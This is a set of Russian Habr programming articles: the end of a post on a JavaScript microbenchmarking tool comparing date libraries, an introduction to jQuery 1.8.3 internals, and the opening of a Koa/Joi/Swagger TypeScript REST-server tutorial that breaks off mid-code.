[](https://perf.js.hyoo.ru/#prefix=const%20iso%20%3D%20'2015-07-20T07%3A48%3A28.338Z'%0A%0Alet%20res/sources=%5B%22res%20%3D%20iMol.toString%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iMoment.format%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iLuxon.toUTC%28%29%5Cn.toFormat%28'dd.MM.yyyy'%29%22%2C%22res%20%3D%20iDayJS.format%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iJSJoda.format%28pattern%29%22%5D/postfix=%24mol_assert_equal%28%20res%2C%20'20.07.2015'%20%29/prefixes=%5B%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fmol_time_all%401.1.12%2Fweb.js'%5Cn%29%5Cnconst%20iMol%20%3D%20new%20%24mol_time_moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fmoment.js%2F2.26.0%2Fmoment.min.js'%5Cn%29%5Cnconst%20iMoment%20%3D%20moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fluxon%401.24.1%2Fbuild%2Fglobal%2Fluxon.min.js'%5Cn%29%5Cnconst%20iLuxon%20%3D%20luxon.DateTime.fromISO%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fdayjs%401.8.21%2Fdayjs.min.js'%5Cn%29%5Cnconst%20iDayJS%20%3D%20dayjs%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2F%40js-joda%2Fcore%401.11.0%2Fdist%2Fjs-joda.js'%5Cn%29%5Cnconst%20pattern%20%3D%20JSJoda.DateTimeFormatter.ofPattern%28'dd.MM.yyyy'%29%5Cnconst%20iJSJoda%20%3D%20JSJoda.ZonedDateTime.parse%28%20iso%20%29%22%5D)
Тут уже отрыв JSJoda не такой существенный. Всё дело в том, что производительность $mol\_time сильнее деградирует по мере усложнения паттерна форматирования. Так что его ещё есть куда улучшать.
А в Firefox 85 JSJoda и вовсе сливает:
[](https://perf.js.hyoo.ru/#prefix=const%20iso%20%3D%20'2015-07-20T07%3A48%3A28.338Z'%0A%0Alet%20res/sources=%5B%22res%20%3D%20iMol.toString%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iMoment.format%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iLuxon.toUTC%28%29%5Cn.toFormat%28'dd.MM.yyyy'%29%22%2C%22res%20%3D%20iDayJS.format%28'DD.MM.YYYY'%29%22%2C%22res%20%3D%20iJSJoda.format%28pattern%29%22%5D/postfix=%24mol_assert_equal%28%20res%2C%20'20.07.2015'%20%29/prefixes=%5B%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fmol_time_all%401.1.12%2Fweb.js'%5Cn%29%5Cnconst%20iMol%20%3D%20new%20%24mol_time_moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fmoment.js%2F2.26.0%2Fmoment.min.js'%5Cn%29%5Cnconst%20iMoment%20%3D%20moment%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fluxon%401.24.1%2Fbuild%2Fglobal%2Fluxon.min.js'%5Cn%29%5Cnconst%20iLuxon%20%3D%20luxon.DateTime.fromISO%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Funpkg.com%2Fdayjs%401.8.21%2Fdayjs.min.js'%5Cn%29%5Cnconst%20iDayJS%20%3D%20dayjs%28%20iso%20%29%22%2C%22%24mol_import.script%28%5Cn%5Ct'https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2F%40js-joda%2Fcore%401.11.0%2Fdist%2Fjs-joda.js'%5Cn%29%5Cnconst%20pattern%20%3D%20JSJoda.DateTimeFormatter.ofPattern%28'dd.MM.yyyy'%29%5Cnconst%20iJSJoda%20%3D%20JSJoda.ZonedDateTime.parse%28%20iso%20%29%22%5D)
Причина, по всей видимости, в том, что создание объектов в Firefox происходит не очень быстро, а в JSJoda упоролись по паттернам. Так бывает, когда оптимизируешь библиотеку лишь под один движок, и совсем забиваешь на альтернативные. Вместо хорошей производительности везде, получается, что на одном движке всё летает, а на другом еле ползает.
Как это работает
================
Интерфейс моей пипиркомерки состоит из следующих блоков:
* общий код
* вариативный код
* результаты
[](https://perf.js.hyoo.ru/#prefixes=%5B%22%2F%2F%20setup%201%22%2C%22%2F%2F%20setup%202%22%5D/sources=%5B%22%2F%2F%20action%201%22%2C%22%2F%2F%20action%202%22%5D)
Общий код
---------
Располагается слева. Он разделён на часть, которая исполняется до замера, и часть, которая уже после. Первая подходит для общей предварительной инициализации. А вторая — для тестов, ведь важно убедиться, что измеряли время работы мы именно того поведения, что хотели.
Время работы общего кода в результаты, конечно же не входит.
Для инициализации и тестов порой важно знать сколько итераций будет прогоняться измеряемый вариант. Для получения этого числа доступен специальный макрос `{#}`.
Например, мы хотим, чтобы для каждой итерации у нас был уникальный объект, но не хотим, чтобы его создание влияло на замеры. Тогда мы можем заранее создать массив из нужного числа объектов:
```
const list = Array.from(
{ length: {#} },
(_,i)=> new Date( `2015-07-20T07:48:28.${ i % 1000 }Z` ),
})
```
Вариативный код
---------------
Располагается посередине. Каждый вариант состоит из двух частей:
* **Подготовительная**, которая исполняется один раз и не замеряется.
* **Замеряемая**, которая исполняется множество раз.
В замеряемом коде так же доступен макрос `{#}`, но тут он означает уже не число итераций, а номер текущей итерации. Например, мы можем взять из ранее объявленного массива уникальный объект и что-то с ним сделать:
```
res = list[{#}].toString()
```
Результаты
----------
Появляется справа после запуска тестов и исчезает при изменении кода. Для каждого варианта выводит два результата:
* **Прохладный**, когда замеряемый код копипастится много раз и эта портянка исполняется лишь один раз, а значит движок применит лишь базовые оптимизации.
* **Разгорячённый**, когда замеряемый код выносится в функцию и копипастится уже её вызов. Таким образом замеряемый код исполняется множество раз, что позволяет движку применить расширенные оптимизации.
Код разгорячённой функции измерения получается примерно таким:
```
function measure() {
// common setup code
// case setup code
let accum_$qwerty
const case_$qwerty = iter_$qwerty => {
// measured code where {#} replaced by iter_$qwerty
accum_$qwerty = iter_$qwerty
}
let time_$qwerty = -performance.now()
case_$qwerty(0);
case_$qwerty(1);
case_$qwerty(2);
// ...
time_$qwerty += performance.now()
// teardown code
return time_$qwerty
)
```
А код прохладной чутка другим:
```
function measure() {
// common setup code
// case setup code
let accum_$qwerty
const case_$qwerty = iter_$qwerty => {
accum_$qwerty = iter_$qwerty
}
let time_$qwerty = -performance.now()
case_$qwerty(0);
// measured code where {#} replaced by 0
case_$qwerty(1);
// measured code where {#} replaced by 1
case_$qwerty(2);
// measured code where {#} replaced by 2
// ...
time_$qwerty += performance.now()
// teardown code
return time_$qwerty
)
```
Как видно, они практически не отличаются по выполняемой работе. Однако, важно отметить, что в замер попадает не только замеряемый код, но и один вызов функции. Это даёт дополнительно примерно 20 наносекунд. Стоит учитывать это при замере экстремально быстрого кода.
Подключение библиотек
=====================
Если нужно подключить какую-либо библиотеку, то можно воспользоваться модулем [$mol\_import](https://github.com/hyoo-ru/mam_mol/tree/master/import), чтобы загрузить её из CDN:
```
const {
$mol_time_moment: Moment,
$mol_time_interval: Interval,
$mol_time_duration: Duration,
} = $mol_import.script('https://unpkg.com/mol_time_all@1.1.12/web.js')
```
Тесты
=====
Для тестов можно воспользоваться функциями [$mol\_assert](https://github.com/hyoo-ru/mam_mol/tree/master/assert):
```
$mol_assert_like( [ 1 ], [ 1 ], [ 2 ] ) // Not like [1] --- [2]
```
Послесловие
===========
[perf.js.hyoo.ru](https://perf.js.hyoo.ru/) — собственно, мой инструмент для нанобенчмаркинга. Примеряйте его к своему коду, не стесняйтесь. Выкладывайте скриншоты с интересными сравнениями — обсудим почему всё именно так.
[bench.hyoo.ru](https://github.com/hyoo-ru/bench.hyoo.ru) — ещё один инструмент, но уже не для нанобенчмаркинга кода, а для бенчмаркинга целых приложений. Я рассказывал о нём в статье: [bench.hyoo.ru: готовим JS бенчмарки быстро и просто](https://mol.hyoo.ru/#section=articles/search/author=nin-jin/repo=HabHub/article=8).
А если вы мейнтейнер какой-либо JS библиотеки, то пишите в личку, если хотите присоединиться к нашему полузакрытому чату, где мы в кругу мейнтейнеров обсуждаем всякие такие, не интересные обычным разработчикам, темы.
 | https://habr.com/ru/post/543934/ | null | ru | null |
# jQuery изнутри — введение
По работе мне несколько раз приходилось участвовать в собеседовании кандидатов на должность клиент-сайдера у нас в компании, смотреть на их познания в Javascript. Удивительно что никто из них не знал толком как же работает jQuery изнутри, даже те, кто отметил свои знания jQuery уровнем «отлично», увы.
У jQuery очень низкий порог вхождения, о нем часто пишут и используют всюду, где только можно (и даже там, где, в общем-то, не нужно), поэтому некоторые даже не смотрят на чистый Javascript. Зачем, мол, его знать, когда есть jQuery, а по нему — тонны примеров и готовых плагинов? Даже на Хабре видел статью про рисование на Canvas, где автор подключил jQuery и использовал его только один раз — для того, чтобы получить доступ к Canvas по его идентификатору. И не считал это чем-то ненормальным.
Извините, отвлекся. Суть поста и следующих частей серии в том, чтобы рассказать о том, как же работает библиотека изнутри и что же в ней происходит по мере выполнения каких-то методов.
#### Исходники
Исходники проекта лежат [вот тут](https://github.com/jquery/jquery). Все разбито на несколько модулей, собирается (у кого-то даже успешно) в одно целое с помощью [Grunt](http://gruntjs.com/). Для разбора в статье я буду использовать код последней стабильной версии (на момент написания статьи это — 1.8.3).
Образно, в этой статье мы рассмотрим скрипт, который можно получить склейкой intro.js. core.js, [sizzle] (мельком), sizzle-jquery.js, support.js (так же, мельком) и outro.js.
Скрипты intro.js и outro.js нужны просто чтобы обернуть код библиотеки в анонимную функцию, дабы не мусорить в window. В функцию передаются параметрами window и undefined (этот параметр — не передается, оттого и undefined). Зачем? У таких переменных не меняется названия в ходе минификации, а названия параметров функции — сжимаются и от таких манипуляций в итоге получается серьезный профит.
#### Инициализация
Первым делом при загрузке jQuery у нас отрабатывается [core.js](https://github.com/jquery/jquery/blob/1.8.3/src/core.js), ядро фреймворка. Что же происходит на этапе инициализации кроме объявления тонны использованных далее RegExp'ов и переменных:
Первым делом сохраняются ссылки на `jQuery` и его алиас `$`, в случае, когда они уже есть в window. Делается это на случай вызова функции [noConflict](http://api.jquery.com/jQuery.noConflict/), которая возвращает объект $ (а если в noConflict передан параметром true, то и jQuery) обратно на свое место, а в результате своей работы отдает нам jQuery, описанный уже в этом самом скрипте. Функция полезна, когда Вы планируете использовать свой код и jQuery на стороннем ресурсе и не хотите ничего поломать людям.
Создается **локальная** функция `jQuery`, которая и является своего рода «конструктором», которая принимает себе селектор и контекст. Функция, с которой разработчики и работают большую часть своего времени. Именно она будет в самом конце экспортирована в `window.jQuery` и `window.$` ([exports.js](https://github.com/jquery/jquery/blob/1.8.3/src/exports.js)). Далее этот объект и будет расширяться, путем подмешивания в его прототип (`jQuery.prototype`, он же — `jQuery.fn`) дополнительных методов. Вышеупомянутый «конструктор», вызывает один из методов в `jQuery.fn` — [init](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L83), о нем чуть ниже.
Внимание, магия:
```
jQuery.fn.init.prototype = jQuery.fn
```
Именно поэтому из результата работы этого самого «конструктора» всегда можно достучаться до всех методов jQuery.
Собственно, `jQuery.fn` расширяется базовыми методами, среди которых [jQuery.extend](http://api.jquery.com/jQuery.extend/), с помощью которого осуществляется расширение объектов, в том числе и дальнейшее расширение функционала самого же jQuery.
Создается служебный хеш `class2type`, который необходим фреймворку для работы функции [type](http://api.jquery.com/jQuery.type/) и ее производных (`isArray`, `isFunction`, `isNumeric` и т.д.). Тут можно обратить внимание на [особую магию](https://github.com/jquery/jquery/blob/master/src/core.js#L433) — обычный `typeof` не очень удобен для определения некоторых типов переменных, поэтому в jQuery для этого и существует этот метод. Соответственно, и реализация его немножко отличается от обычного `typeof`.
Ну и напоследок, создается `rootjQuery`, переменная, в которой лежит результат выполнения `jQuery(document)`, именно относительно него будут искаться элементы из `init`, если контекст не задан разработчиком напрямую.
Вроде бы все и относительно просто, но все это касается только core.js. Любой модуль что-то делает при загрузке и их лучше рассматривать отдельно. Отдельно упомянем support.js, в котором сразу же при инициализации проводится масса тестов для определения возможностей браузера.
#### Объект jQuery
Итак, что же представляет из себя объект jQuery и зачем?
Обычно результат работы `$([какой-то селектор])` представляет собой примерно такой вот объект:
```
{
0: Элемент,
1: Элемент2,
context: Элемент
length: 2,
selector: ‘тот самый какой-то селектор’
__proto__: (как и писали выше, прототип у объекта - jQuery.fn)
}
```
Именно из-за свойства `length` многие почему-то заблуждаются и думают о том, что это — на самом деле массив. На самом деле свойство length поддерживается внутри jQuery вручную и является количеством возвращенных элементов, которые располагаются в нумерованных с нуля ключах-индексах объекта. Делается это именно за тем, чтобы с этим объектом можно было работать как с массивом. В свойство `selector` помещается строка-селектор, если мы искали по ней, а в `context` — контекст, по которому искали (если не задан, то он будет — `document`).
Запомните, что любая функция jQuery, которая не предназначена для возвращения каких-то специальных результатов, всегда возвращает объект, прототип которого — `jQuery.fn`, благодаря чему можно строить довольно большие цепочки вызовов.
#### jQuery.fn.init
Итак, что проиcходит, когда мы выполняем что-то вроде `$([какой-нибудь селектор])`? Внимательно читали? Правильно, вызовется тот самый «конструктор». Если быть [точнее](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L30) — нам вернется `new jQuery.fn.init([тот самый селектор])`.
Сначала в функции [будет проверено](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L87), передан ли ей вообще селектор и в случае, если не передан (или передана пустая строка, null, false, undefined) — в этом случае нам вернется пустой объект jQuery, как если бы мы обратились к нему через window.$.
Затем будет [проверено](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L92), является ли селектор — DOM-элементом. В этом случае jQuery вернет объект прямо с этим элементом. Пример с `$(document.body)`:
```
{
0: ,
context: ,
length: 1,
\_\_proto\_\_: ...
}
```
В случае, если селектор является строкой, то относительно контекста (если контекста нет, то это — document, см. о `rootjQuery` выше) будет выполнен метод [find](http://api.jquery.com/find/) указанного селектора, т.е.:
```
$('p', document.body) -> $(document.body).find('p')
$('p') -> rootjQuery.find('p')
```
В случае, если селектор представляет из себя что-то вроде `#id`, то для поиска элемента будет вызван обычный `document.getElementById` (привет, чувак с Canvas из начала статьи).
А вот если вместо селектора передается html-код (это определяется по наличию знаков открытия тега вначале строки и закрытия — в конце), jQuery попытается его распарсить ([parseHTML](https://github.com/jquery/jquery/blob/1.8.3/src/core.js#L469), который мы рассмотрим в [в следующей части](http://habrahabr.ru/post/164533/) более подробно) и на основе него создать эти элементы и результат вернуть уже с ними. Вот что мы получим в результате работы `$('Йо-хо-хо
========
я - на втором уровне')`:
```
{
0:
1:
length: 2
\_\_proto\_\_: ...
}
======================================
```
Обратите внимание на span внутри параграфа — в результатах он тоже будет внутри него, в элементе с индексом 1.
Для случаев, когда вместо селектора на вход поступает функция, jQuery вызовет ее, когда документ будет готов к работе. Тут использованы [promise](http://api.jquery.com/promise/), которым следует выделить отдельную главу. Многие зачем-то пользуются чуть более длинным аналогом — `$(document).ready( callback )` (в комментариях говорят что так — более читабельно), но в итоге получается то же самое.
#### jQuery.find
Для поиска по документу в jQuery пользуется библиотека [Sizzle](http://sizzlejs.com/), так что `find`, а так же методы `expr`, `unique`, `text`, `isXMLDoc` и `contains` либо напрямую ссылаются на соответствующие им методы из Sizzle, либо представляют простые методы-обертки над ними. Как работают селекторы в jQuery писалось уже неоднократно и на Хабре все это найти можно. В итоге работы `find` мы получим все тот же объект jQuery со всеми найденными элементами.
Отдельной строкой решусь сказать что ни jQuery, ни Sizzle не кешируют результаты работы метода `find`. Да и с чего бы им это делать? Не дергайте метод часто без нужды, если есть возможность заранее все найти — найдите и положите в отдельную переменную.
Если Вас чем-то не устраивает Sizzle, а такое бывает, вместо нее можно использовать что-то свое (или чужое), см. [sizzle-jquery.js](https://github.com/jquery/jquery/blob/1.8.3/src/sizzle-jquery.js), именно там создаются ссылки на методы из Sizzle. Не забудьте в этом случае выкинуть Sizzle из билда.
#### Заключение
jQuery все растет и растет, уже сейчас библиотека разрослась почти до 10 тысяч строк кода (без учета Sizzle). Тем не менее исходники разбиты на несколько файлов, аккуратно написаны и даже местами прокомментированы. Не бойтесь подсматривать туда, а даже наоборот — если чувствуете, что не знаете как работает то, что Вы хотите использовать, не поленитесь посмотреть в исходники библиотеки. Это касается не только jQuery, но и вообще любой библиотеки.
Помните, что jQuery — это библиотека, цель которой не только облегчить разработчику жизнь лаконичностью кода, который получается с ее помощью, но и сделать один интерфейс для работы во всех возможных браузерах, включая доисторические, что добавляет определенный оверхед. Именно поэтому важно знать, что же делает за тебя библиотека. В некоторых случаях можно обойтись и без этих ста килобайт (помните что до сих пор видите значок Edge на своих телефонах) и без оверхеда на вызовах и тестировании возможностей браузера. К примеру, при написании расширения для Chrome или Firefox вам с вероятностью в 90% оно не принесет какого-то профита.
Статья вышла у меня не такая большая, как я боялся и это очень хорошо — читать будет легче (надеюсь). В области профессиональной веб-разработки я всего лишь лет 7, поэтому, как новичок, конечно, могу чего-то не знать, а что-то знать — не совсем (совсем не) правильно или не до конца. Не стесняйтесь меня поправлять, дополнять, критиковать, спрашивать.
P.S. Как оказалось, на Хабре уже есть статья на эту тему от замечательного автора [TheShock](https://habrahabr.ru/users/theshock/) — [Как устроен jQuery: изучаем исходники](http://habrahabr.ru/post/118564). Свою статью оставляю потому, что кто-то уже добавил ее в избранное и вряд ли обрадуется надписи «статья помещена в черновики».
#### Содержание цикла статей
1. Введение
2. [Парсинг html](http://habrahabr.ru/post/164533/)
3. [Манипуляции с DOM](http://habrahabr.ru/post/164677/)
4. [Атрибуты, свойства, данные](http://habrahabr.ru/post/164805/) | https://habr.com/ru/post/164433/ | null | ru | null |
# Самодокументируемый REST сервер (Node.JS, TypeScript, Koa, Joi, Swagger)
Про преимущества и недостатки REST написано уже довольно много статей (и еще больше в комментариях к ним) ). И если уж так вышло, что вам предстоит разработать сервис, в котором должна быть применена именно эта архитектура, то вы обязательно столкнетесь с ее документированием. Ведь, создавая каждый метод, мы конечно же понимаем, что другие программисты будут к этим методам обращаться. Поэтому документация должна быть исчерпывающей, а главное — актуальной.
Добро пожаловать под кат, где я опишу, как мы решали эту задачу в нашей команде.
Немного контекста.
У нашей команды была поставлена задача в короткий срок выдать бэкэнд продукт на **Node.js** средней сложности. С данным продуктом должны были взаимодействовать фронтэнд программисты и мобильщики.
После некоторых размышлений мы решили попробовать использовать в качестве ЯП **TypeScript**. Грамотно настроенный **TSLint** и **Prettier** помогли нам добиться одинакового стиля кода и жесткой его проверки на этапе кодинга/сборки (а **husky** даже на этапе коммита). Строгая типизация принудила всех описать четко интерфейсы и типы всех объектов. Стало легко читать и понимать что именно принимает входящим параметром данная функция, что она в итоге вернет и какие из свойств объекта обязательные, а какие нет. Код довольно сильно стал напоминать Java). Ну и конечно же **TypeDoc** на каждой функции добавлял читаемости.
Вот так стал выглядеть код:
```
/**
* Interface of all responses
*/
export interface IResponseData {
nonce: number;
code: number;
message?: string;
data?: T;
}
/\*\*
\* Utils helper
\*/
export class TransferObjectUtils {
/\*\*
\* Compose all data to result response package
\*
\* @param responseCode - 200 | 400 | 500
\* @param message - any info text message
\* @param data - response data object
\*
\* @return ready object for REST response
\*/
public static createResponseObject(responseCode: number, message: string, data: T): IResponseData {
const result: IResponseData = {
code: responseCode || 200,
nonce: Date.now()
};
if (message) {
result.message = message;
}
if (data) {
result.data = data;
}
return result;
}
}
```
Про потомков мы подумали, поддерживать наш код будет не сложно, настало время подумать про пользователей нашего REST сервера.
Так как делалось все довольно стремительно, мы понимали, что писать отдельно код и отдельно к нему документацию будет весьма сложно. Особенно добавлять доп параметры в ответы или запросы по требованиям фронэндщиков или мобильщиков и не забывать предупреждать об этом других. Вот тут и появилось четкое требование: **код с документацией должен быть синхронизирован всегда**. Это означало, что человеческий фактор должен быть исключен и документация должна влиять на код, а код на документацию.
Вот тут я углубился в поиск подходящих для этого инструментов. Благо, что NPM репозиторий — это просто кладезь всевозможных идей и решений.
Требования для инструмента были следующие:
* Синхронизация документации с кодом;
* Поддержка TypeScript;
* Валидация входящих/исходящих пакетов;
* Живой и поддерживаемый пакет.
Пришлось написать по REST сервису с использованием многих разных пакетов, самые популярные из которых: tsoa, swagger-node-express, express-openapi, swagger-codegen.
Но в некоторых не было поддержки TypeScript, в некоторых валидации пакетов, а некоторые умели генерить код на основании документации, но дальнейшей синхронизации уже не обеспечивали.
Вот тут я и наткнулся на joi-to-swagger. Отличный пакет, который умеет описанную в Joi схему превращать в swagger документацию да еще и с поддержкой TypeScript. Все пункты выполнены кроме синхронизации. Порыв еще какое-то время, я нашел заброшенный репозиторий одного китайца, который использовал **joi-to-swagger** в связке с Koa фреймворком. Так как предубеждений против Koa в нашей команде не было, а слепо следовать Express тренду причин тоже не было, решили попробовать взлететь на этом стеке.
Я форкнул этот репозиторий, пофиксил баги, доделал некоторые штуки и вот вышел в свет мой первый вклад в OpenSource Koa-Joi-Swagger-TS. Тот проект мы успешно сдали и после него уже было несколько других. REST сервисы стало писать и поддерживать очень удобно, а пользователям этих сервисов ничего не нужно кроме ссылки на онлайн документацию Swagger. После них стало видно куда можно развивать этот пакет и он претерпел еще несколько доработок.
Теперь давайте посмотрим как с использованием **Koa-Joi-Swagger-TS** можно написать самодокументируемый REST сервер. [Готовый код я выложил тут](https://github.com/DragFAQ/simple-rest).
Так как этот проект демонстрационный, я упростил и слил несколько файлов в один. Вообще хорошо, если в индексе будет инициализация приложения и вызов файла app.ts, в котором в свою очередь будет осуществляться чтение ресурсов, вызовы соединения с БД и т.д. Самой последней командой должен стартовать сервер (как раз то, что сейчас будет описано ниже).
Так вот, для начала создадим **index.ts** с таким содержимым:
**index.ts**
```
import * as Koa from "koa";
import { BaseContext } from "koa";
import * as bodyParser from "koa-bodyparser";
import * as Router from "koa-router";
const SERVER_PORT = 3002;
(async () => {
const app = new Koa();
const router = new Router();
app.use(bodyParser());
router.get("/", (ctx: BaseContext, next: Function) => {
console.log("Root loaded!")
});
app
.use(router.routes())
.use(router.allowedMethods());
app.listen(SERVER_PORT);
console.log(`Server listening on http://localhost:${SERVER_PORT} ...`);
})();
```
При запуске этого сервиса будет поднят REST сервер, который пока что ничего не умеет. Теперь немного про архитектуру проекта. Так как я перешел на Node.JS из Java, я постарался и тут построить сервис с такими же слоями.
* Контроллеры
* Сервисы
* Репозитории
Приступим к подключению **Koa-Joi-Swagger-TS**. Естественно устанавливаем его.
```
npm install koa-joi-swagger-ts --save
```
Создадим папку **“controllers”** и в ней папку **“schemas”**. В папке controllers создадим наш первый контроллер **base.controller.ts**:
**base.controller.ts**
```
import { BaseContext } from "koa";
import { controller, description, get, response, summary, tag } from "koa-joi-swagger-ts";
import { ApiInfoResponseSchema } from "./schemas/apiInfo.response.schema";
@controller("/api/v1")
export abstract class BaseController {
@get("/")
@response(200, { $ref: ApiInfoResponseSchema })
@tag("GET")
@description("Returns text info about version of API")
@summary("Show API index page")
public async index(ctx: BaseContext, next: Function): Promise {
console.log("GET /api/v1/");
ctx.status = 200;
ctx.body = {
code: 200,
data: {
appVersion: "1.0.0",
build: "1001",
apiVersion: 1,
reqHeaders: ctx.request.headers,
apiDoc: "/api/v1/swagger.json"
}
}
};
}
```
Как видно из декораторов (аннотаций в Java) данный класс будет ассоциирован с путем “/api/v1” все методы внутри будут относительно этого пути.
В данном методе есть описание формата ответа, который описан в файле "./schemas/apiInfo.response.schema":
**apiInfo.response.schema**
```
import * as Joi from "joi";
import { definition } from "koa-joi-swagger-ts";
import { BaseAPIResponseSchema } from "./baseAPI.response.schema";
@definition("ApiInfo", "Information data about current application and API version")
export class ApiInfoResponseSchema extends BaseAPIResponseSchema {
public data = Joi.object({
appVersion: Joi.string()
.description("Current version of application")
.required(),
build: Joi.string().description("Current build version of application"),
apiVersion: Joi.number()
.positive()
.description("Version of current REST api")
.required(),
reqHeaders: Joi.object().description("Request headers"),
apiDoc: Joi.string()
.description("URL path to swagger document")
.required()
}).required();
}
```
Возможности такого описания схемы в Joi весьма обширно и более подробно описано тут: [www.npmjs.com/package/joi-to-swagger](https://www.npmjs.com/package/joi-to-swagger)
А вот предок описанного класса (собственно это базовый класс для всех ответов нашего сервиса):
**baseAPI.response.schema**
```
import * as Joi from "joi";
import { definition } from "koa-joi-swagger-ts";
@definition("BaseAPIResponse", "Base response entity with base fields")
export class BaseAPIResponseSchema {
public code = Joi.number()
.required()
.strict()
.only(200, 400, 500)
.example(200)
.description("Code of operation result");
public message = Joi.string().description("message will be filled in some causes");
}
```
Теперь зарегистрируем эти схемы и контроллеры в системе Koa-Joi-Swagger-TS.
Создадим рядом с index.ts еще файл **routing.ts**:
**routing.ts**
```
import { KJSRouter } from "koa-joi-swagger-ts";
import { BaseController } from "./controllers/base.controller";
import { BaseAPIResponseSchema } from "./controllers/schemas/baseAPI.response.schema";
import { ApiInfoResponseSchema } from "./controllers/schemas/apiInfo.response.schema";
const SERVER_PORT = 3002;
export const loadRoutes = () => {
const router = new KJSRouter({
swagger: "2.0",
info: {
version: "1.0.0",
title: "simple-rest"
},
host: `localhost:${SERVER_PORT}`,
basePath: "/api/v1",
schemes: ["http"],
paths: {},
definitions: {}
});
router.loadDefinition(ApiInfoResponseSchema);
router.loadDefinition(BaseAPIResponseSchema);
router.loadController(BaseController);
router.setSwaggerFile("swagger.json");
router.loadSwaggerUI("/api/docs");
return router.getRouter();
};
```
Тут мы создаем экземпляр класса KJSRouter, который по сути есть Koa-router, но уже с добавленными middlewares и обработчиками в них.
Поэтому в файле **index.ts** просто меняем
```
const router = new Router();
```
на
```
const router = loadRoutes();
```
Ну и удаляем ненужный уже обработчик:
**index.ts**
```
import * as Koa from "koa";
import * as bodyParser from "koa-bodyparser";
import { loadRoutes } from "./routing";
const SERVER_PORT = 3002;
(async () => {
const app = new Koa();
const router = loadRoutes();
app.use(bodyParser());
app
.use(router.routes())
.use(router.allowedMethods());
app.listen(SERVER_PORT);
console.log(`Server listening on http://localhost:${SERVER_PORT} ...`);
})();
```
При запуске этого сервиса нам доступны 3 маршрута:
**1. /api/v1** — документированный маршрут
Который в моем случае показыват:
**http://localhost:3002/api/v1**
```
{
code: 200,
data: {
appVersion: "1.0.0",
build: "1001",
apiVersion: 1,
reqHeaders: {
host: "localhost:3002",
connection: "keep-alive",
cache-control: "max-age=0",
upgrade-insecure-requests: "1",
user-agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
accept-encoding: "gzip, deflate, br",
accept-language: "uk-UA,uk;q=0.9,ru;q=0.8,en-US;q=0.7,en;q=0.6"
},
apiDoc: "/api/v1/swagger.json"
}
}
```
И два служебных маршрута:
**2. /api/v1/swagger.json**
**swagger.json**
```
{
swagger: "2.0",
info: {
version: "1.0.0",
title: "simple-rest"
},
host: "localhost:3002",
basePath: "/api/v1",
schemes: [
"http"
],
paths: {
/: {
get: {
tags: [
"GET"
],
summary: "Show API index page",
description: "Returns text info about version of API",
consumes: [
"application/json"
],
produces: [
"application/json"
],
responses: {
200: {
description: "Information data about current application and API version",
schema: {
type: "object",
$ref: "#/definitions/ApiInfo"
}
}
},
security: [ ]
}
}
},
definitions: {
BaseAPIResponse: {
type: "object",
required: [
"code"
],
properties: {
code: {
type: "number",
format: "float",
enum: [
200,
400,
500
],
description: "Code of operation result",
example: {
value: 200
}
},
message: {
type: "string",
description: "message will be filled in some causes"
}
}
},
ApiInfo: {
type: "object",
required: [
"code",
"data"
],
properties: {
code: {
type: "number",
format: "float",
enum: [
200,
400,
500
],
description: "Code of operation result",
example: {
value: 200
}
},
message: {
type: "string",
description: "message will be filled in some causes"
},
data: {
type: "object",
required: [
"appVersion",
"apiVersion",
"apiDoc"
],
properties: {
appVersion: {
type: "string",
description: "Current version of application"
},
build: {
type: "string",
description: "Current build version of application"
},
apiVersion: {
type: "number",
format: "float",
minimum: 1,
description: "Version of current REST api"
},
reqHeaders: {
type: "object",
properties: { },
description: "Request headers"
},
apiDoc: {
type: "string",
description: "URL path to swagger document"
}
}
}
}
}
}
}
```
**3. /api/docs**
Это страница со Swagger UI — это очень удобное визуальное представление Swagger схемы, в которой кроме того, что все удобно посмотреть, можно даже сгенерировать запросы и получить реальные ответы от сервера.
Этот UI требует доступа к swagger.json файлу, именно поэтому был включен предыдущий маршрут.
Ну вроде все есть и все работает, но!..
Через время мы обраружили, что в такой реализации у нас появляется довольно много дублирования кода. В случае, когда у контроллеров нужно проделывать одинаковые действия. Именно из-за этого позже я доработал пакет и добавил возможность описать «обертку» для контроллеров.
Рассмотрим пример такого сервиса.
Допустим, что у нас появился контроллер «Users» с несколькими методами.
**Get all users**
```
@get("/")
@response(200, { $ref: UsersResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Returns list of all users")
@summary("Get all users")
public async getAllUsers(ctx: BaseContext): Promise {
console.log("GET /api/v1/users");
let message = "Get all users error";
let code = 400;
let data = null;
try {
let serviceResult = await getAllUsers();
if (serviceResult) {
data = serviceResult;
code = 200;
message = null;
}
} catch (e) {
console.log("Error while getting users list");
code = 500;
}
ctx.status = code;
